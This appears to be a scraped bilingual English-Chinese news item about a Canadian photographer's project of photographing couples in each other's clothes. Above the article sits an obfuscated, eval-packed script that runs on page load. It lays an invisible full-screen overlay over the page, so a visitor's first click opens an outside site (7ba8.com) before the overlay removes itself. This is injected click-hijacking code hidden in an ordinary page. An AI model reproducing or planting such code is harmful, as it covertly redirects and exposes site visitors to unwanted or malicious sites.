<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>![]()
A Canadian photographer has given the term 'boyfriend jeans' a whole new meaning.
一位加拿大的摄影师给流行热潮 “男友式牛仔裤” 赋予了全新的含义。
Hana Pesut, 30, has been photographing couples, friends and family in their own outfits, and then again in each other's, since 2010 for a book project called Switcheroo.
30岁的哈娜·佩舒特从2010年起,就为一个名为“Switcheroo”的研究项目拍摄成组的情侣、朋友或家人照片,他们先是穿着自己的一身衣服,然后再互换衣服后拍摄。
Mixing and matching skirts and jeans; trucker caps and straw hats; parkas and pea coats; pendants and bow ties; and heels and heavy boots, the compelling couples look at once goofy and intimate dressed in each others clothes.
混合搭配的裙子和牛仔裤;卡车帽和草帽;风衣和羊毛外套;耳坠和领结;高跟鞋和厚靴子,这一对对互换衣服后,立马就变得又傻气又亲密,十分引人注目。
Ms Pesut told the Globe and Mail: 'It’s a nice way to take a portrait and to see the way couples interact with one another. To see how much fun it is for them to see each other in each other’s clothes.
佩舒特女士告诉《环球邮报》的记者:“这是一个很好的拍照方式,可以看出两人彼此互动。而且我也会发现,他们看到对方穿着自己的衣服是多么有趣。”
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]() |